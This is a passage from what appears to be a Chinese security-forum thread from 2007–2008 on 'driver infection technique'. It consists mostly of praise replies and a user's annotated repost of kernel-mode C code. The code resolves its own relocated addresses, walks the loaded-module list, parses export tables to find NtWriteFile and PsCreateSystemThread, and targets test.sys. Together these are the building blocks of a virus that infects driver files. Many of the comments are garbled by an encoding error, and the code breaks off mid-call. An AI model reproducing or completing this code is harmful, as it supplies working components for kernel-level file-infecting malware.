首页
社区
课程
招聘
[原创]驱动感染技术扫盲(C描述)
发表于: 2007-12-5 19:46 79217

[原创]驱动感染技术扫盲(C描述)

2007-12-5 19:46
79217
收藏
免费 7
支持
分享
最新回复 (100)
雪    币: 267
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
76
强太强了学习学习
2008-1-24 00:31
0
雪    币: 70
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
77
咔咔,像偶这么低调了,还是被您给发现了
2008-1-24 20:34
0
雪    币: 122
活跃值: (43)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
78
很好很强大
2008-5-2 13:08
0
雪    币: 267
活跃值: (235)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
79
very good
2008-5-2 23:49
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
80
/*好文章,
这是我读楼主大人 代码的一些注释和问题。
正式的工程文件正在阅读中,稍后我会贴出我注释过的代码 这些注释仅仅代表我的理解 ,希望可以帮助一些新人*/

ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize) //注意驱动程序所使用的数据类型
{                                                                 //WCHAR,ULONG
  ULONG ulModuleBase = 0;
  LIST_ENTRY *Entry = NULL;
  LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
  PDRIVER_OBJECT DriverObject = KGetGlobalVarAddr(g_pDriverObject);//获取驱动对象的地址

  Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink; //获取下一个内核模块的 LIST_ENTRY 结构
  do
  {
    DataTableEntry = CONTAINING_RECORD(Entry,       //Entry 表示 查找的目的地址
      LDR_DATA_TABLE_ENTRY,                         //LDR_DATA_TABLE_ENTRY 表示要查找的结构
      InLoadOrderLinks);                            //LDR_DATA_TABLE_ENTRY结构中的第一个成员,★ 很奇怪,真实的用法应该不是这样的
    if (DataTableEntry->EntryPoint &&               //如果该模块,有入口点,有基址,有名字,并且被加载
      DataTableEntry->BaseDllName.Buffer &&
      DataTableEntry->FullDllName.Buffer &&
      DataTableEntry->LoadCount
      )
    {

      if ( !KWcsNiCmp(                           //将模块的名字 与函数传递进的参数进行比较。★ KWcsNiCmp()函数有点奇怪,没找到它的相关资料
        DataTableEntry->BaseDllName.Buffer,
        pwszModuleName,
        DataTableEntry->BaseDllName.Length / sizeof(WCHAR) //BaseDllName.Length成员 是以字节为单位的
        )
        )
      {
        ulModuleBase = DataTableEntry->DllBase;
        if (pulModuleSize)                      //如果传递的指针不为 NULL
        {
          *pulModuleSize = DataTableEntry->SizeOfImage; //pulModuleSize指向 模块的大小
        }
        goto Exit0;                            //找到了目标模块,跳出循环。准备函数返回
      }
    }

    Entry = Entry->Flink;

  }
  while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink);

Exit0:

  return ulModuleBase;
}

ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
  ULONG FuncRVA = 0;
  ULONG *puFuncNameAddress = 0;
  USHORT *puAddressOfOrd = 0;
  ULONG *puAddressOfFunc = 0;
  ULONG i = 0;
  USHORT Index = 0;
  PUCHAR pFuncName = NULL;
  ULONG FuncNameRVA = 0;

  PROCESS_ERROR(pe->pExportEntry);
  puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames +  pe->pMap);
  puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals +  pe->pMap);
  puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions +  pe->pMap);
  for (i = 0; i <  pe->pExportEntry->NumberOfNames; i++)
  {
    Index = puAddressOfOrd[i];

    FuncNameRVA = puFuncNameAddress[i];
    pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);

    if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
    {
      FuncRVA = puAddressOfFunc[Index];
      break;
    }

  }

Exit0:
  return FuncRVA;
}

/**
*@brief 根据内核映像初始一个PE对象
*
*@param[in]    Buffer 内核映像基址
*@param[in]    uFileSize 内核映像大小
*@param[out]  pe PE对象
*@return 返回STATUS_SUCCESS时成功,其它值为失败
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)
{
  int    nResult = STATUS_UNSUCCESSFUL;

  if (!pe)
  {
    goto Exit0;
  }

  pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
  pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer +  pe->pDosHdr->e_lfanew);
  pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
    pe->pDosHdr->e_lfanew +
    pe->pNtHdr->FileHeader.SizeOfOptionalHeader +

    0x18 + Buffer
    );

  pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
    );

  pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
    );

  pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
    );

  pe->IsInitSuccessed = TRUE;
  pe->pMap = Buffer;
  pe->uMapSize = uFileSize;
  nResult = STATUS_SUCCESS;
Exit0:
  return nResult;
}

/**
*@brief 根据函数名得到函数的地址,可以理解为GetProcAddress
*
*@param[in]    pwszModuleName 驱动模块名
*@param[in]    pszFuncName 函数名

*@return 返回表示失败,其它值是函数的地址
*/
ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)
{
  int    nRetCode = FALSE;   //内核模块使用 int 类型?
  ULONG  ulApiAddr = 0;
  ULONG  ulNtosBase = 0;
  ULONG  ulNtosSize = 0;
  KPELIB  pe;            //KPELIB结构的定义? ★

  

  ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
  if (!ulNtosBase)
  {
    goto Exit0;
  }

  nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
  if(!NT_SUCCESS(nRetCode))
  {
    goto Exit0;
  }

  ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));//★这个函数的定义?
  if (!ulApiAddr)
  {
    goto Exit0;
  }

  ulApiAddr += ulNtosBase;

Exit0:

  return ulApiAddr;
}
2008-5-11 22:56
0
雪    币: 302
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
81
好久没看到扫盲对了谢谢老大..
2008-5-12 18:17
0
雪    币: 302
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
82
感谢gdlian的注释...
2008-5-12 18:19
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
83
//我写的注释怎么全是乱码?我自己看是好的
#include

#include
#include
#include
#include

#if DBG
#define dprintf DbgPrint
#else
#define dprintf(x)
#endif

NTSTATUS DrvDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DrvUnload(IN PDRIVER_OBJECT DriverObject);

NTSTATUS DeviceIoControl(
                                                 IN ULONG IoControlCode,
                                                 IN PVOID InBuffer,
                                                 IN ULONG InBufferSize,
                                                 OUT PVOID OutBuffer,
                                                 IN ULONG OutBufferSize,
                                                 OUT IO_STATUS_BLOCK *IoStatus
                                                 );

#define NT_DEVICE_NAME L"\\Device\\InfectDriver"   //ʹÓú궨Òå×Ö·û´®£¬ÕâÖÖÓ÷¨ÖµµÃ×¢Ò⣬"L"±íʾʹÓÃUNICODE×Ö·û
#define DOS_DEVICE_NAME L"\\DosDevices\\InfectDriver"

#define defMAX_FILE_SIZE 2 * 1024 * 1024 //2MB
USHORT
ChkSum(
           ULONG PartialSum,
           PUSHORT Source,
           ULONG Length
           );

/**
*@brief È¡µÃµ±Ç°º¯ÊýµÄµØÖ·
*
*@return ·µ»Øµ±Ç°º¯ÊýµÄµØÖ·
*/
ULONG __declspec(naked) KGetStartAddr()
/*×¢Òâ __declspec(naked),Ò»°ãÇé¿öÏ£¬½øÈ뺯Êýʱ±àÒëÆ÷»á²úÉú´úÂëÀ´±£´æESI£¬EDI£¬EBX£¬EBP¼Ä´æÆ÷£¬Í˳öº¯ÊýʱÔò
²úÉú´úÂë»Ö¸´ÕâЩ¼Ä´æÆ÷µÄÄÚÈÝ¡£naked call²»²úÉúÕâÑùµÄ´úÂë¡£
*/
{
        __asm
        {
                call lbl_Next
lbl_Next:
                pop eax   //CALL Ö¸Áî»á½«·µ»ØµØÖ·£¨lbl_Next£©Ñ¹Èë¶ÑÕ»£¬È»ºóʹÓÃPOPÖ¸ÁȡµÃ·µ»ØµØÖ·
                sub eax, 5  //·µ»ØµÄµØÖ·Òª¼õÈ¥CALLÖ¸Áî±¾ÉíµÄ³¤¶È£¬CALLÖ¸ÁîÕ¼¾Ý5¸ö×Ö½Ú
                ret
        }
}
WCHAR g_wszNtoskrnl[] = L"ntoskrnl.exe";
WCHAR g_wszTest[] = L"\\SystemRoot\\System32\\Drivers\\test.sys";
CHAR g_Printf[] = "I'm here.\n";
#define defApiNum        12
CHAR g_szFuncName[defApiNum][80] = //ÕâÊÇÒ»¸ö¶þάÊý×飬עÒâʹÓõÄÊÇANSI×Ö·û
{
        "IoCreateFile",               
        "NtClose",
        "ExAllocatePoolWithTag",
        "NtReadFile",
        "NtWriteFile",
        "NtSetInformationFile",
        "NtQueryInformationFile",
        "ExFreePoolWithTag",
        "DbgPrint",
        "RtlInitUnicodeString",
        "PsCreateSystemThread",
        "KeDelayExecutionThread"
};

ULONG g_ulFuncAddr[defApiNum] = {0}; //×¢Ò⣬g_ulFuncAddr[12] = 0
                     //±íʾÏÈÇ°µÄÊý×鸳ֵֻ´Óg_ulFuncAddr[0]µ½g_ulFuncAddr[11]

#define  defIoCreateFile                        0
#define  defNtClose                                        1
#define  defExAllocatePoolWithTag        2
#define  defNtReadFile                                3
#define  defNtWriteFile                                4
#define  defNtSetInformationFile        5
#define  defNtQueryInformationFile        6
#define  defExFreePoolWithTag                7
#define  defDbgPrint                                8
#define  defRtlInitUnicodeString        9
#define         defPsCreateSystemThread        10
#define  defKeDelayExecutionThread        11

ULONG        g_ulOrgEntryPoint = 0;
PDRIVER_OBJECT        g_pDriverObject = NULL;

/**
*@brief È¡µÃÈ«¾Ö±äÁ¿»òº¯ÊýÖض¨Î»ºóµÄµØÖ·
*
*@param[in]                pVar È«¾Ö±äÁ¿»òº¯ÊýµÄµØÖ·
*@return ·µ»ØÈ«¾Ö±äÁ¿»òº¯ÊýµÄʵ¼ÊµØÖ·
*/
PVOID KGetGlobalVarAddr(PVOID pVar)
{
        PVOID pCurAddr = NULL;
        __asm
        {
Start:
                call lbl_Next
lbl_Next:
                pop eax
                sub eax, 5
                sub eax, offset Start
                add eax, pVar
                mov pCurAddr, eax
        }
        return pCurAddr;
}

VOID KWcsUpper(WCHAR *Str, ULONG ulSize)//×Ô¶¨ÒåµÄUNICODE×Ö·û´®´óдת»»º¯Êý
{
        if (ulSize)
        {
                ulSize = ulSize / sizeof(WCHAR);//¿´À´´«µÝ½øÀ´µÄulSize£¬ÊÇÒÔ×Ö½ÚΪµ¥Î»µÄ

                while (ulSize)
                {
                        if (*Str >= L'a' && *Str <= L'z')//¿ªÊ¼×ª»»
                        {
                                *Str -= 0x20;
                        }
                        Str++;  //×¢ÒâStrµÄÀàÐÍ£¬ËüÊÇWCHAR ÀàÐÍ£¬Òò´Ë"++"ʵ¼ÊÊÇ ¼ÓÁËsizeof(WCHAR),¼´2×Ö½Ú
                        ulSize --;

                }
        }
        else  //·ñÔò¾Íһֱת»»£¬Ö±µ½ÄÚ´æµØַΪ '\0' Ϊֹ
        {
                while (*Str)
                {
                        if (*Str >= L'a' && *Str <= L'z')
                        {
                                *Str -= 0x20;
                        }
                        Str++;
                }

        }
}

ULONG KStrLen(char *Str) //×Ô¶¨ÒåµÄÅжÏ×Ö·û´®³¤¶ÈµÄº¯Êý£¬ANSIÀàÐÍ
{
        ULONG ulLength = 0;
        while (*Str)
        {
                ulLength ++;
                Str ++;
        }

        return ulLength;
}

ULONG KWcsLen(WCHAR *Str)//×Ô¶¨ÒåµÄÅжÏ×Ö·û´®³¤¶ÈµÄº¯Êý£¬UNICODEÀàÐÍ
{
        ULONG ulLength = 0;
        while (*Str)
        {
                ulLength ++;
                Str ++;
        }

        return ulLength;

}

ULONG KStrNCmp(CHAR *Str1, CHAR *Str2, ULONG ulLength)//×Ô¶¨ÒåµÄ±È½Ï×Ö·û´®µÄº¯Êý£¬ANSIÀàÐÍ
{
        while ( (ulLength >= 0) &&
                (*Str1) &&
                (*Str2) &&
                (*Str1 == *Str2)
                )
        {
                Str1 ++;
                Str2 ++;
                ulLength --;
        }             //Õâ¸öº¯ÊýµÄ¶¨ÒåÈç´Ë¼ò½à,ÎÒÄÑÒÔд³öÀ´

        return (*Str1 - *Str2);
}

ULONG KStrCmp(CHAR *Str1, CHAR *Str2) //×Ô¶¨ÒåµÄ±È½Ï×Ö·û´®µÄº¯Êý£¬ANSIÀàÐÍ£¬ÆäʵÓëKStrNCmp()º¯Êý¿ÉÒԺ϶þΪһ
{
        while ((*Str1) && (*Str2) && (*Str1 == *Str2) )//Èç¹û (*Str1 != 0) ¾Í±íʾStr1 Õâ¸ö×Ö·û´®Ã»ÓнáÊø
        {
                Str1 ++;
                Str2 ++;
        }

        return (*Str1 - *Str2);
}

ULONG KStrNiCmp(CHAR *Str1, CHAR *Str2, ULONG ulLength)//×Ö·û´®±È½Ï£¬²»Çø·Ö´óСд£¬ANSIÀàÐÍ
{
        CHAR c1 = (*Str1);
        CHAR c2 = (*Str2);

        while (ulLength >= 0 && c1 && c2 )
        {
                if (c1 >= 'a' && c1 <= 'z')
                {
                        c1 -= 0x20;
                }
                if (c2 >= 'a' && c2 <= 'z')
                {
                        c2 -= 0x20;
                }
                if (c1 != c2)
                {
                        break;
                }

                Str1 ++;
                Str2 ++;
                c1 = *Str1;
                c2 = *Str2;
                ulLength --;
        }

        return (c1 - c2);
}

ULONG KStrICmp(CHAR *Str1, CHAR *Str2)//×Ö·û´®±È½Ïº¯Êý£¬²»Çø·Ö´óСд£¬ÓëKStrNiCmp()º¯ÊýÏà±È£¬ÉÙÒ»¸ö²ÎÊý
{
        CHAR c1 = (*Str1);
        CHAR c2 = (*Str2);

        while ( c1 && c2 )
        {
                if (c1 >= 'a' && c1 <= 'z')
                {
                        c1 -= 0x20;
                }
                if (c2 >= 'a' && c2 <= 'z')
                {
                        c2 -= 0x20;
                }
                if (c1 != c2)
                {
                        break;
                }

                Str1 ++;
                Str2 ++;
                c1 = *Str1;
                c2 = *Str2;
        }

        return (c1 - c2);
}

ULONG KWcsNiCmp(WCHAR *Str1, WCHAR *Str2, ULONG ulLength)//×Ö·û´®±È½Ï£¬²»Çø·Ö´óСд£¬UNICODEÀàÐÍ
{
        WCHAR c1 = (*Str1);
        WCHAR c2 = (*Str2);

        while (ulLength >= 0 && c1 && c2 )
        {
                if (c1 >= L'a' && c1 <= L'z')
                {
                        c1 -= 0x20;
                }
                if (c2 >= L'a' && c2 <= L'z')
                {
                        c2 -= 0x20;
                }
                if (c1 != c2)
                {
                        break;
                }

                Str1 ++;
                Str2 ++;
                c1 = *Str1;
                c2 = *Str2;
                ulLength --;
        }

        return (c1 - c2);
}

ULONG KWcsNCmp(WCHAR *Str1, WCHAR *Str2, ULONG ulLength)//×Ö·û´®±È½Ï£¬²»Çø·Ö´óСд,ANSIÀàÐÍ
{
        while ( (ulLength >= 0) &&
                (*Str1) &&
                (*Str2) &&
                (*Str1 == *Str2)
                )
        {
                Str1 ++;
                Str2 ++;
                ulLength --;
        }

        return (*Str1 - *Str2);
}

/**
*@brief ×Ö·û´®¿½±´º¯Êý(Ansi×Ö·û°æ±¾)
*
*@param[out]        Str1 Ä¿±ê×Ö·û´®
*@param[in]                Src Ô´×Ö·û´®
*@return
*/
void KStrCpy(CHAR *Str1, CHAR *Str2)
{
        while (*Str2)
        {
                *Str1 = *Str2;
                Str1 ++;
                Str2 ++;
        }

        *Str1 = '\0';
       
}

/**
*@brief ×Ö·û´®¿½±´º¯Êý(¿í×Ö·û°æ±¾)
*
*@param[out]        Str1 Ä¿±ê×Ö·û´®
*@param[in]                Src Ô´×Ö·û´®
*@return
*/
void KWcsCpy(WCHAR *Str1, WCHAR *Str2)
{
        while (*Str2)
        {
                *Str1 = *Str2;
                Str1 ++;
                Str2 ++;
        }

        *Str1 = L'\0';
}

/**
*@brief Äڴ濽±´º¯Êý
*
*@param[out]        Dst Ä¿±êµØÖ·
*@param[in]                Src Ô´µØÖ·
*@param[in]                ulSize Ô´´óС

*@return
*/
VOID KMemCpy(PVOID Dst, PVOID Src, ULONG ulSize)
{
        UCHAR *pDst = (UCHAR*)Dst;
        UCHAR *pSrc = (UCHAR*)Src;
       
        if (Dst == NULL || Src == NULL)
        {
                return ;
        }
        while (ulSize)
        {
                *pDst = *pSrc;
                pSrc ++;
                pDst ++;
                ulSize --;
        }
}

/**
*@brief ¸ù¾ÝÇý¶¯Ä£¿éÃû·µ»Ø¶ÔÓ¦µÄÓ³Ïñ»ùÖ·ºÍÓ³Ïñ´óС
*
*@param[in]                pwszModuleName Çý¶¯Ä£¿éÃû
*@param[in]                pulModuleSize ·µ»ØÇý¶¯Ä£¿éµÄ´óС

*@return ·µ»Ø0±íʾʧ°Ü,ÆäËüÖµÊÇÇý¶¯Ä£¿é»ùÖ·
*/
ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize)//²»¶àÑÔ£¬¼ûÌû×Ó
{
        ULONG ulModuleBase = 0;
        LIST_ENTRY *Entry = NULL;
        LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
        //USHORT usChkSum = 0;
        PDRIVER_OBJECT DriverObject = KGetGlobalVarAddr(g_pDriverObject);

        Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink;
        do
        {
                DataTableEntry = CONTAINING_RECORD(Entry,
                        LDR_DATA_TABLE_ENTRY,
                        InLoadOrderLinks);
                if (DataTableEntry->EntryPoint &&
                        DataTableEntry->BaseDllName.Buffer &&
                        DataTableEntry->FullDllName.Buffer &&
                        DataTableEntry->LoadCount
                        )
                {

                        if ( !KWcsNiCmp(
                                DataTableEntry->BaseDllName.Buffer,
                                pwszModuleName,
                                DataTableEntry->BaseDllName.Length / sizeof(WCHAR)
                                )
                                )
                        {
                                ulModuleBase = DataTableEntry->DllBase;
                                if (pulModuleSize)
                                {
                                        *pulModuleSize = DataTableEntry->SizeOfImage;
                                }
                                goto Exit0;
                        }
                }

                Entry = Entry->Flink;

        }
        while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink);

Exit0:

        return ulModuleBase;
}

/**
*@brief ¸ù¾Ýº¯ÊýÃû·µ»Øº¯Êý¶ÔÓ¦µÄRVAµØÖ·
*
*@param[in]                pe PE¶ÔÏó
*@param[in]                Name µ¼³ö±íÄڵĺ¯ÊýÃû

*@return ·µ»Ø0±íʾʧ°Ü,ÆäËüÖµÊǺ¯ÊýµÄRVAµØÖ·
*/
ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
        ULONG FuncRVA = 0;
        ULONG *puFuncNameAddress = 0; //puFuncNameAddressΪָÏò ULONG Êý¾ÝÀàÐ͵ÄÖ¸Õë
        USHORT *puAddressOfOrd = 0; //Ö¸ÏòÊä³öº¯ÊýµÄµ÷ÓÃÐòºÅÊý×é
        ULONG *puAddressOfFunc = 0; //Ö¸ÏòÊä³öº¯ÊýµÄµØÖ·
        ULONG i = 0;
        USHORT Index = 0;
        PUCHAR pFuncName = NULL;
        ULONG FuncNameRVA = 0;

        PROCESS_ERROR(pe->pExportEntry); //ÅжϳÌÐòÊä³ö±í½á¹¹£¬¾ßÌåÊǸÉʲôµÄ£¬²»ÖªµÀ£¬ËƺõûʲôÓ㬿ÉÒÔɾ³ý
        puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames +  pe->pMap); //
        puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals +  pe->pMap);
        puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions +  pe->pMap);
        for (i = 0; i <  pe->pExportEntry->NumberOfNames; i++)
        {
                Index = puAddressOfOrd[i];

                FuncNameRVA = puFuncNameAddress[i];
                pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);
                //usChkSum = KGetStrChkSum((CHAR*)pFuncName);

                if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
                {
                        FuncRVA = puAddressOfFunc[Index];
                        break;
                }

        }

Exit0:
        return FuncRVA;
}

/**
*@brief ¸ù¾ÝÄÚºËÓ³Ïñ³õʼһ¸öPE¶ÔÏó
*
*@param[in]                Buffer ÄÚºËÓ³Ïñ»ùÖ·
*@param[in]                uFileSize ÄÚºËÓ³Ïñ´óС
*@param[out]        pe PE¶ÔÏó
*@return ·µ»ØSTATUS_SUCCESSʱ³É¹¦,ÆäËüֵΪʧ°Ü
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)//Õâ¸öº¯Êý±È½Ï¹Ø¼ü
{
        int                nResult = STATUS_UNSUCCESSFUL;

        if (!pe)     //¹ØÓÚPEÎļþ¸ñʽµÄ֪ʶ£¬ÏÖÔÚÔÚÍøÉÏÒѾ­ºÜÆÕ¼°ÁË£¬ÎÒû×ÐϸÔĶÁÕâ¶Î´úÂë
        {
                goto Exit0;
        }

        pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
        pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer +  pe->pDosHdr->e_lfanew);
        pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
                pe->pDosHdr->e_lfanew +
                pe->pNtHdr->FileHeader.SizeOfOptionalHeader +

                0x18 + Buffer
                );

        pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
                Buffer +
                pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
                );

        pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
                Buffer +
                pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
                );

        pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
                Buffer +
                pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
                );

        pe->IsInitSuccessed = TRUE;
        pe->pMap = Buffer;
        pe->uMapSize = uFileSize;
        nResult = STATUS_SUCCESS;
Exit0:
        return nResult;
}

/**
*@brief ¸ù¾Ýº¯ÊýÃûµÃµ½º¯ÊýµÄµØÖ·,¿ÉÒÔÀí½âΪGetProcAddress
*
*@param[in]                pwszModuleName Çý¶¯Ä£¿éÃû
*@param[in]                pszFuncName º¯ÊýÃû

*@return ·µ»Ø0±íʾʧ°Ü,ÆäËüÖµÊǺ¯ÊýµÄµØÖ·
*/

ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)//¸Ãº¯ÊýÊÇÒÔÉÏ3¸öº¯ÊýµÄ·â×°
{
        int                nRetCode = FALSE;
        ULONG        ulApiAddr = 0;
        ULONG        ulNtosBase = 0;
        ULONG        ulNtosSize = 0;
        KPELIB        pe;

       

        ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
        if (!ulNtosBase)//¸ù¾Ý´«µÝµÄÄ£¿éÃû£¬»ñÈ¡Ä£¿éÔÚÄÚ´æÖеÄÆðʼµØÖ·Óë´óС
        {
                goto Exit0;
        }

        nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
        if(!NT_SUCCESS(nRetCode)) //¸ù¾Ý»ñÈ¡µÄÄ£¿éÆðʼµØÖ·Óë´óС£¬³õʼ»¯½á¹¹Ìå PE
        {
                goto Exit0;
        }

        ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));
        if (!ulApiAddr) //¸ù¾Ý½á¹¹ÌåPE£¬»ñÈ¡ËùÐ躯ÊýµÄRVAµØÖ·
        {
                goto Exit0;
        }

        ulApiAddr += ulNtosBase;

Exit0:

        return ulApiAddr;
}
//¶¨Ò庯ÊýÀàÐÍ
typedef
NTSTATUS
(*IoCreateFileFunc)(
                         OUT PHANDLE FileHandle,
                         IN ACCESS_MASK DesiredAccess,
                         IN POBJECT_ATTRIBUTES ObjectAttributes,
                         OUT PIO_STATUS_BLOCK IoStatusBlock,
                         IN PLARGE_INTEGER AllocationSize OPTIONAL,
                         IN ULONG FileAttributes,
                         IN ULONG ShareAccess,
                         IN ULONG Disposition,
                         IN ULONG CreateOptions,
                         IN PVOID EaBuffer OPTIONAL,
                         IN ULONG EaLength,
                         IN CREATE_FILE_TYPE CreateFileType,
                         IN PVOID ExtraCreateParameters OPTIONAL,
                         IN ULONG Options
                         );
typedef
NTSTATUS
(*NtQueryInformationFileFunc)(
                                                          IN HANDLE FileHandle,
                                                          OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                          OUT PVOID FileInformation,
                                                          IN ULONG Length,
                                                          IN FILE_INFORMATION_CLASS FileInformationClass
                                                          );

typedef
NTSTATUS
(*NtSetInformationFileFunc)(
                                                        IN HANDLE FileHandle,
                                                        OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                        IN PVOID FileInformation,
                                                        IN ULONG Length,
                                                        IN FILE_INFORMATION_CLASS FileInformationClass
                                                        );

typedef
NTSTATUS
(*NtReadFileFunc)(
                                  IN HANDLE FileHandle,
                                  IN HANDLE Event OPTIONAL,
                                  IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                  IN PVOID ApcContext OPTIONAL,
                                  OUT PIO_STATUS_BLOCK IoStatusBlock,
                                  OUT PVOID Buffer,
                                  IN ULONG Length,
                                  IN PLARGE_INTEGER ByteOffset OPTIONAL,
                                  IN PULONG Key OPTIONAL
                          );

typedef
NTSTATUS
(*NtWriteFileFunc)(
                                   IN HANDLE FileHandle,
                                   IN HANDLE Event OPTIONAL,
                                   IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                   IN PVOID ApcContext OPTIONAL,
                                   OUT PIO_STATUS_BLOCK IoStatusBlock,
                                   IN PVOID Buffer,
                                   IN ULONG Length,
                                   IN PLARGE_INTEGER ByteOffset OPTIONAL,
                                   IN PULONG Key OPTIONAL
                           );

typedef
NTSTATUS
(*NtCloseFunc)(IN HANDLE Handle );

typedef
PVOID
(*ExAllocatePoolWithTagFunc)(
                                          IN POOL_TYPE PoolType,
                                          IN SIZE_T NumberOfBytes,
                                          IN ULONG Tag
                                          );

typedef
VOID
(*ExFreePoolWithTagFunc)(IN PVOID P, IN ULONG Tag );

typedef
NTSTATUS
(*RtlInitUnicodeStringFunc)(PUNICODE_STRING DestinationString, PCWSTR SourceString );

typedef
NTSTATUS
(*PsCreateSystemThreadFunc)(
                                                        OUT PHANDLE ThreadHandle,
                                                        IN ULONG DesiredAccess,
                                                        IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
                                                        IN HANDLE ProcessHandle OPTIONAL,
                                                        OUT PCLIENT_ID ClientId OPTIONAL,
                                                        IN PKSTART_ROUTINE StartRoutine,
                                                        IN PVOID StartContext
                                                        );

typedef
ULONG (*DbgPrintFunc)(PCH Format,...);//ÕâÖÖÀàÐÍÒ²Äܶ¨Òå?

typedef
NTSTATUS
(*KeDelayExecutionThreadFunc)(
                                                          IN KPROCESSOR_MODE WaitMode,
                                                          IN BOOLEAN Alertable,
                                                          IN PLARGE_INTEGER Interval
                                                          );

/**
*@brief ÿ¸ôÒ»ÃëÓÃDbgPrintÊä³öÒ»ÌõÏûÏ¢
*

*@return
*/
VOID KPrintf(PVOID pv) //ÕâÊǸöÏ̺߳¯Êý£¬Ã¿¸ôÒ»ÃëÓÃDbgPrintÊä³öÒ»ÌõÏûÏ¢
{
        DbgPrintFunc _DbgPrint = NULL;
        KeDelayExecutionThreadFunc _KeDelayExecutionThread = NULL;
        LARGE_INTEGER        Intervel; //Ó¦¸ÃÊÇ interval
        _DbgPrint = (DbgPrintFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defDbgPrint]);
        if (!_DbgPrint)
        {
                return;
        }

        _KeDelayExecutionThread = (KeDelayExecutionThreadFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defKeDelayExecutionThread]);//±ð±»ÀàÐÍת»»¸ãÔÎÁË

        if (!_KeDelayExecutionThread)
        {
                return;
        }
        Intervel.u.HighPart = -1;
        Intervel.u.LowPart = (ULONG)(-1 * 1000 * 1000 * 10);
        while (TRUE)
        {
                _DbgPrint((CHAR*)KGetGlobalVarAddr(g_Printf));
                _KeDelayExecutionThread(KernelMode, FALSE, &Intervel);//²»ÄÜÔÙÓÃSleep()ÁË
                //Ïêϸ¼û£¬http://msdn.microsoft.com/en-us/library/ms801650.aspx
        }
               
}
/**
*@brief ´´½¨KPrintÏß³Ì

*@return
*/
int KCreateSystemThread()
{
        int nResult = STATUS_UNSUCCESSFUL;
        HANDLE        hThread = NULL;
        PsCreateSystemThreadFunc _PsCreateSystemThread = NULL;
        _PsCreateSystemThread = (PsCreateSystemThreadFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defPsCreateSystemThread]);
        if (!_PsCreateSystemThread)
        {
                return STATUS_UNSUCCESSFUL;
        }

        nResult = _PsCreateSystemThread(
                &hThread,
                THREAD_ALL_ACCESS,
                NULL,
                NULL,
                NULL,
